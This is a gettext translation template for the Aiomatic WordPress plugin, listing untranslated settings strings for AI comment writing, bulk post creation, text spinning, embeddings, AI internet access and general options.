msgstr "" #: res/aiomatic-main.php:6335 res/aiomatic-more.php:89 msgid "Automate the AI Taxonomy Description Writing Process:" msgstr "" #: res/aiomatic-main.php:6344 msgid "AI Comment Writer" msgstr "" #: res/aiomatic-main.php:6346 msgid "" "The 'AI Comment Writer' tab provides an automated system to generate and " "manage intelligent, context-aware comments, enhancing engagement across your " "WordPress site." msgstr "" #: res/aiomatic-main.php:6349 msgid "AI Comment Writer Settings:" msgstr "" #: res/aiomatic-main.php:6403 msgid "Select the default model you want to use for the AI Comment Writer." msgstr "" #: res/aiomatic-main.php:6407 msgid "AI Comment Writer Model:" msgstr "" #: res/aiomatic-main.php:6434 #, php-format msgid "" "Set the prompt to be used for the AI Comment Writer feature. You can use the " "following shortcodes here: %%post_title%%, %%post_excerpt%%, %%username%%, " "%%comment%% - default is: Write a reply for %%username%%'s comment on the " "post titled \"%%post_title%%\". The user's comment is: %%comment%%" msgstr "" #: res/aiomatic-main.php:6438 msgid "AI Comment Writer Prompt:" msgstr "" #: res/aiomatic-main.php:6444 msgid "AI Comment Writer Tutorial Video:" msgstr "" #: res/aiomatic-main.php:6454 msgid "" "The [aicontent] shortcode offers a wide range of options when it comes to " "creating AI content anywhere on your site. Check the below tutorial video " "for full details on this feature." msgstr "" #: res/aiomatic-main.php:6457 msgid "[aicontent] Shortcode Settings:" msgstr "" #: res/aiomatic-main.php:6467 msgid "[aicontent] AI Assistant Name:" msgstr "" #: res/aiomatic-main.php:6511 msgid "" "Select the default model you want to use for the [aicontent] shortcode. You " "can defined this also in shortcode parameters." msgstr "" #: res/aiomatic-main.php:6515 msgid "[aicontent] Shortcode Default Model:" msgstr "" #: res/aiomatic-main.php:6546 msgid "[aicontent] Shortcode Temperature:" msgstr "" #: res/aiomatic-main.php:6561 msgid "[aicontent] Shortcode Top_p:" msgstr "" #: res/aiomatic-main.php:6576 msgid "[aicontent] Shortcode Presence Penalty:" msgstr "" #: res/aiomatic-main.php:6591 msgid "[aicontent] Shortcode Frequency Penalty:" msgstr "" #: res/aiomatic-main.php:6607 msgid "" "The 'Bulk AI Post Creator' tab offers settings for tools which will " "efficiently generate multiple AI-driven posts, streamlining content creation " "and ensuring a consistent flow of fresh material on your WordPress site." msgstr "" #: res/aiomatic-main.php:6610 msgid "Bulk AI Post Creator Settings:" msgstr "" #: res/aiomatic-main.php:6617 msgid "" "Add a time period between the plugin will run importing at a schedule. To " "disable this feature, leave this field blank. This works based on your " "current server timezone and time. Your current server time is: " msgstr "" #: res/aiomatic-main.php:6621 msgid "Automatically Run Rules Only Between These Hour Periods Each Day:" msgstr "" #: res/aiomatic-main.php:6624 msgid "Run Rules Only After This Hour" msgstr "" #: res/aiomatic-main.php:6625 msgid "Run Rules Only Before This Hour" msgstr "" #: res/aiomatic-main.php:6637 msgid "Draft Posts First, And Publish Them Afterwards:" msgstr "" #: res/aiomatic-main.php:6653 msgid "" "Choose if you want to skip checking for duplicate post titles when " "publishing new posts. If you check this, duplicate post titles will be " "posted! So use it only when it is necesarry." msgstr "" #: res/aiomatic-main.php:6657 msgid "Do Not Check For Duplicate Titles:" msgstr "" #: res/aiomatic-main.php:6673 msgid "" "Choose if you want to process entered titles/topics in order of entering " "them, not in a random order." msgstr "" #: res/aiomatic-main.php:6677 msgid "Process Titles/Topics In Order, Not Random:" msgstr "" #: res/aiomatic-main.php:6692 msgid "" "Choose if you want to receive a summary of the rule running in an email." msgstr "" #: res/aiomatic-main.php:6696 msgid "Send Rule Running Summary in Email:" msgstr "" #: res/aiomatic-main.php:6711 msgid "" "Input the email adress where you want to send the report. You can input more " "email addresses, separated by commas." msgstr "" #: res/aiomatic-main.php:6715 msgid "Email Address:" msgstr "" #: res/aiomatic-main.php:6720 msgid "Input a valid email adress" msgstr "" #: res/aiomatic-main.php:6732 msgid "Set the required words list that will apply to all plugin rules." msgstr "" #: res/aiomatic-main.php:6736 msgid "Global Required Words List:" msgstr "" #: res/aiomatic-main.php:6741 msgid "Please insert the global required words list" msgstr "" #: res/aiomatic-main.php:6751 msgid "" "Choose if you want to require only one word from the 'Required Words List' " "for the post to be accepted." msgstr "" #: res/aiomatic-main.php:6755 msgid "Require Only One Word From The 'Required Words List':" msgstr "" #: res/aiomatic-main.php:6770 msgid "Set the banned words list that will apply to all plugin rules." msgstr "" #: res/aiomatic-main.php:6774 msgid "Global Banned Words List:" msgstr "" #: res/aiomatic-main.php:6779 msgid "Please insert the global banned words list" msgstr "" #: res/aiomatic-main.php:6783 msgid "Spin & Translate:" msgstr "" #: res/aiomatic-main.php:6790 msgid "" "Do you want to automatically translate generated content using Google " "Translate?" msgstr "" #: res/aiomatic-main.php:6794 msgid "Automatically Translate Content To:" msgstr "" #: res/aiomatic-main.php:6794 msgid "Info:" msgstr "" #: res/aiomatic-main.php:6794 msgid "for translation, the plugin also supports WPML." msgstr "" #: res/aiomatic-main.php:6794 msgid "Get WPML now!" msgstr "" #: res/aiomatic-main.php:6849 msgid "Translation Source Language:" msgstr "" #: res/aiomatic-main.php:6904 msgid "Do Also A Second Translation To:" msgstr "" #: res/aiomatic-main.php:6952 msgid "Don't have an 'The Best Spinner' account yet? Click here to get one:" msgstr "" #: res/aiomatic-main.php:6952 res/aiomatic-main.php:6955 #: res/aiomatic-main.php:6958 res/aiomatic-main.php:6961 #: res/aiomatic-main.php:6964 res/aiomatic-main.php:6967 msgid "get a new account now!" msgstr "" #: res/aiomatic-main.php:6955 msgid "Don't have an 'WordAI' account yet? Click here to get one:" msgstr "" #: res/aiomatic-main.php:6958 msgid "Don't have an 'SpinRewriter' account yet? Click here to get one:" msgstr "" #: res/aiomatic-main.php:6961 msgid "Don't have an 'SpinnerChief' account yet? Click here to get one:" msgstr "" #: res/aiomatic-main.php:6964 msgid "Don't have an 'ContentProfessor' account yet? Click here to get one:" msgstr "" #: res/aiomatic-main.php:6967 msgid "Don't have an 'ChimpRewriter' account yet? Click here to get one:" msgstr "" #: res/aiomatic-main.php:6977 res/aiomatic-main.php:7055 msgid "" "Do you want to randomize text by changing words of a text with synonyms " "using one of the listed methods? Note that this is an experimental feature " "and can in some instances drastically increase the rule running time!" msgstr "" #: res/aiomatic-main.php:6981 msgid "Spin Text Using Word Synonyms (for automatically generated posts only):" msgstr "" #: res/aiomatic-main.php:6998 res/aiomatic-main.php:7006 #: res/aiomatic-main.php:7014 res/aiomatic-main.php:7022 #: res/aiomatic-main.php:7030 res/aiomatic-main.php:7038 msgid "High Quality - Paid" msgstr "" #: res/aiomatic-main.php:7045 msgid "Built-in - Medium Quality - Free" msgstr "" #: res/aiomatic-main.php:7059 msgid "Enable Spinner For:" msgstr "" #: res/aiomatic-main.php:7069 msgid "Bulk Posters & OmniBlocks" msgstr "" #: res/aiomatic-main.php:7076 msgid "Bulk Posters" msgstr "" #: res/aiomatic-main.php:7094 res/aiomatic-main.php:7116 msgid "Do you want to not spin title (only content)?" msgstr "" #: res/aiomatic-main.php:7098 msgid "Enable The Best Spinner Humanize AI Usage:" msgstr "" #: res/aiomatic-main.php:7120 msgid "Do Not Spin Title, Only Content:" msgstr "" #: res/aiomatic-main.php:7138 msgid "" "Select a list of comma separated words that you do not wish to spin (only " "for built-in spinners)." msgstr "" #: res/aiomatic-main.php:7142 msgid "Excluded Word List (For Built-In Spinner Only):" msgstr "" #: res/aiomatic-main.php:7149 msgid "word1, word2, word3" msgstr "" #: res/aiomatic-main.php:7159 msgid "Insert your user name on premium spinner service." msgstr "" #: res/aiomatic-main.php:7163 msgid "Premium Spinner Service User Name/Email:" msgstr "" #: res/aiomatic-main.php:7170 msgid "Please insert your premium text spinner service user name" msgstr "" #: res/aiomatic-main.php:7180 msgid "Insert your password for the selected premium spinner service." msgstr "" #: res/aiomatic-main.php:7184 msgid "Premium Spinner Service Password/API Key:" msgstr "" #: res/aiomatic-main.php:7191 msgid "Please insert your premium text spinner service password" msgstr "" #: res/aiomatic-main.php:7195 msgid "Notification Settings:" msgstr "" #: res/aiomatic-main.php:7202 msgid "" "Select an email address where a notification will be sent, in case a " "specific rule depleted its keywords and it did not publish any new content " "because of this. This will be applied only if you check the 'Process Each " "Title/Topic Only Once' checkbox in rules. You can enter a comma separated " "list of email addresses which will be notified." msgstr "" #: res/aiomatic-main.php:7206 msgid "" "Send An Email Notification When A Specific Rule Has Depleted Its Keywords/" "Topics:" msgstr "" #: res/aiomatic-main.php:7217 msgid "WooCommerce Settings:" msgstr "" #: res/aiomatic-main.php:7224 msgid "" "Select if you want to create External WooCommerce Products in the 'Amazon " "Product Review' Bulk Post Creator. To enable this functionality, you also " "need to select the 'product' post type in rule settings, in the 'Amazon " "Product Review' menu of the plugin, for created rules." msgstr "" #: res/aiomatic-main.php:7228 msgid "Create External WooCommerce Products In 'Amazon Product Review':" msgstr "" #: res/aiomatic-main.php:7248 msgid "" "If you check this checkbox, all prompts which are used in the plugin will be " "processed as they are, in a single bulk text block, regardless of new lines " "from their content. If the checkbox is unchecked, a random prompt will be " "selected at each run, from the entered prompt lines, based on new lines from " "the text (like this, you will be able to enter multiple prompts from which " "the plugin will select a random one at each run)." msgstr "" #: res/aiomatic-main.php:7252 msgid "Prompt Processing - Bulk Or Random Selection:" msgstr "" #: res/aiomatic-main.php:7268 msgid "" "If you want to create long content (over 10000 words) in a single post and " "you are getting undesired results, you can check this checkbox for a fix." msgstr "" #: res/aiomatic-main.php:7272 msgid "Use Alternate Continue Tokens (Experimental):" msgstr "" #: res/aiomatic-main.php:7287 msgid "" "When using the 'Title Based Posting' mode, if you set the 'AI Content " "Minimum Character Count' settings field to a large character count, this you " "add a prompt completion here, it will be prepended to the text which is sent " "to the AI writer, for continuation.." msgstr "" #: res/aiomatic-main.php:7291 msgid "Preppend Text To Prompts For Content Completion:" msgstr "" #: res/aiomatic-main.php:7296 msgid "Prompt to prepend to text continuation requests" msgstr "" #: res/aiomatic-main.php:7306 msgid "" "When using the 'Title Based Posting' mode, if you set the 'AI Content " "Minimum Character Count' settings field to a large character count, this you " "add a prompt completion here, it will be appended to the text which is sent " "to the AI writer, for continuation.." msgstr "" #: res/aiomatic-main.php:7310 msgid "Append Text To Prompts For Content Completion:" msgstr "" #: res/aiomatic-main.php:7315 msgid "Prompt to append to text continuation requests" msgstr "" #: res/aiomatic-main.php:7326 msgid "" "Select if you want to convert new lines to
                    tags in created article " "content." msgstr "" #: res/aiomatic-main.php:7330 msgid "Convert New Lines To Line Breaks (br) In AI Generated Post Content:" msgstr "" #: res/aiomatic-main.php:7346 msgid "" "Select if you want to use the Bing search results to get related headings " "for created articles." msgstr "" #: res/aiomatic-main.php:7350 msgid "Disable Bing Search Scraping To Get More Headings:" msgstr "" #: res/aiomatic-main.php:7366 msgid "" "Select if you want to use the AI writer to get related headings for created " "articles." msgstr "" #: res/aiomatic-main.php:7370 msgid "Disable AI Writer Usage To Get More Headings:" msgstr "" #: res/aiomatic-main.php:7386 msgid "" "Select if you want to disable the post content processing, to remove the " "
                     tags added by AI models. These tags can be generated by some "
                    "models by mistake and the plugin can automatically convert them to correct "
                    "HTML content. If you want to keep 
                     tags intact, check this "
                    "checkbox. This can be useful if you instruct the AI to create coding "
                    "examples or different other code related content."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7390
                    msgid "Disable Post Content Processing To Remove 
                     Tags:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7406
                    msgid "Embeddings Settings"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7408
                    msgid ""
                    "The 'Embeddings' tab allows you to manage and configure settings for "
                    "generating and using content embeddings to enhance the AI content generated "
                    "by the plugin."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7410
                    msgid "More details about Embeddings, check "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7410
                    msgid "the 'AI Embeddings' settings page"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7412
                    msgid "Main AI Embeddings Settings:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7419
                    msgid "Select the embeddings API which will be used by default."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7423
                    msgid "Default Embeddings API To Use:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7431
                    msgid "Pinecone"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7440
                    msgid "Additional Embeddings Settings:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7452
                    msgid ""
                    "After creating your Pinecone API, create a new index. Make sure to set your "
                    "dimension to 1536 and also make sure to set your metric to cosine. Enter the "
                    "generated index ID here."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7456
                    msgid "Pinecone Index:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7476
                    msgid "After creating your Pinecone API, create a new namespace (optional)."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7480
                    msgid "Pinecone Namespace:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7500
                    msgid ""
                    "After creating your Qdrant_index API, create a new index. Make sure to set "
                    "your dimension to 1536 and also make sure to set your metric to cosine. "
                    "Enter the generated index ID here."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7504
                    msgid "Qdrant Index URL:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7524
                    msgid ""
                    "Add a name for your Qdrant collection. This is optional. The default value "
                    "for this is: qdrant"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7528
                    msgid "Qdrant Collection Name (Optional):"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7543
                    msgid "The number of results to return for each query."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7547
                    msgid "Number Of Results To Query:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7562
                    msgid "Select the model you want to use for embeddings."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7566
                    msgid "Embeddings Model:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7603
                    msgid "Enable embeddings for which parts of the plugin."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7607
                    msgid "Enable Embeddings For:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7628 res/aiomatic-main.php:8149
                    msgid "Bulk AI Post Creator - Title Prompts"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7633 res/aiomatic-main.php:8154
                    msgid "Bulk AI Post Creator - Sections Prompts"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7638 res/aiomatic-main.php:8159
                    msgid "Bulk AI Post Creator - Intro Prompts"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7643 res/aiomatic-main.php:8164
                    msgid "Bulk AI Post Creator - Content Prompts"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7648 res/aiomatic-main.php:8169
                    msgid "Bulk AI Post Creator - QA Prompts"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7653 res/aiomatic-main.php:8174
                    msgid "Bulk AI Post Creator - Outro Prompts"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7658 res/aiomatic-main.php:8179
                    msgid "Bulk AI Post Creator - Excerpt Prompts"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7664 res/aiomatic-main.php:8185
                    msgid "Content Editing"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7670 res/aiomatic-main.php:8191
                    msgid "Chatbot Shortcodes"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7676 res/aiomatic-main.php:8197
                    msgid "Text Completion Shortcodes"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7682 res/aiomatic-main.php:8203
                    msgid "Text Editing Shortcode"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7688 res/aiomatic-main.php:8209
                    msgid "Related Questions Creation"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7710
                    msgid "AI Embeddings Auto Indexing Settings:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7716
                    msgid ""
                    "Select the post types for which you want to enable embeddings auto indexing."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7720
                    msgid "Enable Embeddings Auto Indexing For Newly Published:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7741
                    msgid "AI Embeddings Template Settings:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7747
                    #, php-format
                    msgid ""
                    "Select the template of the embedding which will be saved in the database. "
                    "You can use the following shortcodes: %%post_title%%, %%post_content%%, "
                    "%%post_excerpt%%, %%post_url%%, %%post_id%%. The default value of this field "
                    "is: %%post_title%% -- %%post_excerpt%% -- Read more at: %%post_url%%"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7751
                    msgid "Auto Created Embeddings Template:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7754
                    msgid "Set a template to use for auto created embeddings"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7759
                    msgid "AI Embeddings Optimization Settings:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7765
                    msgid ""
                    "Do you want to rewrite content using AI before sending it to the embedding?"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7769
                    #, php-format
                    msgid "Optimize The %%post_content%% Shortcode Using AI:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7783
                    #, php-format
                    msgid ""
                    "Do you want to rewrite content using AI before sending it to the embedding? "
                    "This will rewrite the %%post_content%% in the 'Embedding Template' settings "
                    "field - so be sure to use the %%post_content%% shortcode in the 'Embedding "
                    "Template' settings field, if you are wanting to optimize the content for it "
                    "using this feature. You can use the following shortcodes: %%post_title%%, "
                    "%%post_content%%, %%post_excerpt%%, %%post_url%%, %%post_id%%. The default "
                    "value of this field is: Revise the given content concisely, preserving its "
                    "style and information, while ensuring the revised text stays within 300 "
                    "words. Each paragraph should range between 60 to 120 words. Exclude non-"
                    "textual elements and unnecessary repetition. Conclude with a statement "
                    "directing readers to find more information at %%post_url%%. If these "
                    "guidelines cannot be met, send an empty response. The content is as follows: "
                    "%%post_content%%"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7787
                    #, php-format
                    msgid "Embedding Content Rewriter Prompt (%%post_content%%):"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7790
                    msgid "Add your embedding rewriter prompt"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7847
                    msgid ""
                    "Select the model you want to use for embedding content rewriting and "
                    "optimizing."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7851
                    msgid "Embedding Content Rewriter Model:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7877
                    msgid ""
                    "You need to enter a Pinecone.io API or a Qdrant API key in the 'API Keys' "
                    "tab and save settings, to use this feature."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7882
                    msgid "AI Internet Access Settings"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7884
                    msgid ""
                    "The 'AI Internet Access' tab enables you to configure and manage the "
                    "internet connectivity settings for AI functionalities, ensuring your "
                    "WordPress site's AI tools can access online data and services securely."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7887
                    msgid "Main AI Internet Access Settings"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7887
                    msgid "check this feature's tutorial"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7894
                    #, php-format
                    msgid ""
                    "Modify the prompt for the AI writer, using the below template, adding also "
                    "information extracted from the internet. You can use the following "
                    "shortcodes: %%original_query%% (to add the original search query), "
                    "%%current_date%% (to add the current date), %%web_results%% (to add the "
                    "search query results)."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7898
                    msgid "Modify Prompt For the AI Writer Using Internet Search Results:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7898 res/aiomatic-main.php:7919
                    msgid "Restore To Default"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7903
                    msgid "Add the edited prompt"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7915
                    #, php-format
                    msgid ""
                    "Modify the template of the %%web_results%% shortcode. You will be able to "
                    "use the following shortcodes: %%result_counter%% (to add the index of the "
                    "current result), %%result_title%% (to add the title of the current result), "
                    "%%result_snippet%% (to add the snippet of the current result), "
                    "%%result_link%% (to add the URL of the current result). The default value "
                    "for this settings field is: [%%result_counter%%]: %%result_title%% "
                    "%%result_snippet%% URL: %%result_link%%"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7919
                    #, php-format
                    msgid "Template For the %%web_results%% Shortcode:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7924
                    #, php-format
                    msgid "Add the %%web_results%% shortcode template"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7936
                    #, php-format
                    msgid ""
                    "Prompt to use for keyword/keyphrase extraction from the submitted text (so "
                    "the internet search will be more probable to return related results to the "
                    "query sent to the AI). You can use the following shortcode here: "
                    "%%original_prompt%%. The default value for this settings is: Using which "
                    "keyword or phrase should I search the internet, so I get results related to "
                    "the following text? Give me only a single search phrase or keyword, don't "
                    "write anything else. The text is: \"%%original_prompt%%\"?"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7940
                    msgid "Keyword Extractor Prompt (Optional):"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7945
                    #, php-format
                    msgid ""
                    "Using which keyword or phrase should I search the internet, so I get results "
                    "related to the following text? Give me only a single search phrase or "
                    "keyword, don't write anything else. The text is: \"%%original_prompt%%\"?"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:7961
                    msgid "Search Results Location (Optional):"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8023
                    msgid ""
                    "Select the model you want to use for keyword extraction, for internet search "
                    "results."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8027
                    msgid "Keyword Extractor Model (Optional):"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8054
                    #, php-format
                    msgid ""
                    "Select the number of search results to add in the %%web_results%% shortcode. "
                    "The default value for this settings is : 3"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8058
                    #, php-format
                    msgid "Number Of Search Results To Add (In The %%web_results%% Shortcode):"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8073
                    msgid "2"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8078
                    msgid "3"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8083
                    msgid "4"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8088
                    msgid "5"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8093
                    msgid "6"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8098
                    msgid "7"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8103
                    msgid "8"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8108
                    msgid "9"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8113
                    msgid "10"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8124
                    msgid "Enable AI internet access for the following features of the plugin."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8128
                    msgid "Enable AI Internet Access For:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8238
                    msgid "Plugin General Settings"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8240
                    msgid ""
                    "The 'General Settings' tab allows you to configure advanced options and "
                    "preferences that affect the overall operation of the plugin."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8243
                    msgid "Basic Settings:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8250
                    msgid "Do you want to enable logging for rules?"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8254
                    msgid "Enable Logging for Rules:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8269
                    msgid ""
                    "Do you want to enable detailed logging for rules? Note that this will "
                    "dramatically increase the size of the log this plugin generates."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8273
                    msgid "Enable Detailed Logging for Rules:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8291
                    msgid "Choose if you want to automatically clear logs after a period of time."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8295
                    msgid "Automatically Clear Logs After:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8310 res/aiomatic-spinner-list.php:5128
                    msgid "Once a month"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8315 res/aiomatic-spinner-list.php:5133
                    msgid "Once a week"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8320 res/aiomatic-spinner-list.php:5138
                    msgid "Once a day"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8325 res/aiomatic-spinner-list.php:5143
                    msgid "Twice a day"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8330 res/aiomatic-spinner-list.php:5148
                    msgid "Once an hour"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8341
                    msgid ""
                    "If you want to use a proxy to crawl webpages, input it's address here. "
                    "Required format: IP Address/URL:port. You can input a comma separated list "
                    "of proxies."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8345
                    msgid "Web Proxy Address List:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8350
                    msgid "Input web proxy url"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8360
                    msgid ""
                    "If you want to use a proxy to crawl webpages, and it requires "
                    "authentification, input it's authentification details here. Required format: "
                    "username:password. You can input a comma separated list of users/passwords. "
                    "If a proxy does not have a user/password, please leave it blank in the list. "
                    "Example: user1:pass1,user2:pass2,,user4:pass4."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8364
                    msgid "Web Proxy Authentication:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8369
                    msgid "Input web proxy auth"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8379
                    msgid ""
                    "Do you want to use the above proxies also when accessing OpenAI API? "
                    "Otherwise, they will be used for Amazon product scraping / image downloading "
                    "only."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8383
                    msgid "Use Proxies Also For OpenAI API Accessing:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8401
                    msgid ""
                    "Set the timeout (in seconds) for every rule running and also for automatic "
                    "post editing. I recommend that you leave this field at it's default value "
                    "(3600)."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8405
                    msgid "Timeout for Processing (seconds):"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8410
                    msgid "Input rule timeout in seconds"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8422
                    msgid ""
                    "Resize the image that was assigned to be the featured image to the width "
                    "specified in this text field (in pixels). If you want to disable this "
                    "feature, leave this field blank."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8426
                    msgid "Featured Image Resize Width:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8431
                    msgid "Please insert the desired width for featured images"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8441
                    msgid ""
                    "Resize the image that was assigned to be the featured image to the height "
                    "specified in this text field (in pixels). If you want to disable this "
                    "feature, leave this field blank."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8445
                    msgid "Featured Image Resize Height:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8450
                    msgid "Please insert the desired height for featured images"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8460
                    msgid ""
                    "Select the quality of the resized images. Accepted values: 1-100. 1 is "
                    "lowest quality, 100 is highest quality. If you want to disable this feature, "
                    "leave this field blank."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8464
                    msgid "Featured Image Resize Quality:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8479
                    msgid ""
                    "Do you want to disable the AI content detector fooling method of the plugin? "
                    "This will leave the AI content as it is, in an unchanged form."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8483
                    msgid "Don't Try To Fool AI Detectors (Disable Content Tricks):"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8501
                    msgid "Do you want to enable swear word filtering for created content?"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8505
                    msgid "Enable Swear Word Filtering:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8523
                    msgid "Do you want to disable the Media Library extension of the plugin?"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8527
                    msgid "Disable Media Library Extension:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8547
                    msgid "Select if you want to convert markdown to HTML in AI generated content."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8551
                    msgid "Convert Markdown To HTML In AI Generated Content:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8566
                    msgid ""
                    "Do you want to not remove the 
                     tags created by the AI writer?"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8570
                    msgid "Don't Remove 
                     Tags From AI Generated Content:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8588
                    msgid ""
                    "Do you want to clear the OmniBlock processed keywords list at plugin "
                    "deactivation?"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8592
                    msgid "Clear OmniBlock Processed Keywords List At Plugin Deactivation:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8610
                    msgid ""
                    "Do you want to disable the rendering of shortcodes in OmniBlocks? Any "
                    "shortcode which the AI will create, will be rendered on your website "
                    "directly."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8614
                    msgid "Disable Shortcode Rendering In OmniBlocks:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8632
                    msgid ""
                    "Set the maximum number of times the plugin will retry API calls in case they "
                    "fail. This is useful, as in some cases OpenAI API is failing and a retry "
                    "will work. To disable this feature, leave this field blank. This feature is "
                    "currently not supported if the chatbot is in streaming mode."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8636
                    msgid "How Many Times To Retry API Calls In Case Of API Failure:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8641
                    msgid "API retry max count"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8653
                    msgid ""
                    "Set the maximum number of times the plugin will retry chat API calls in case "
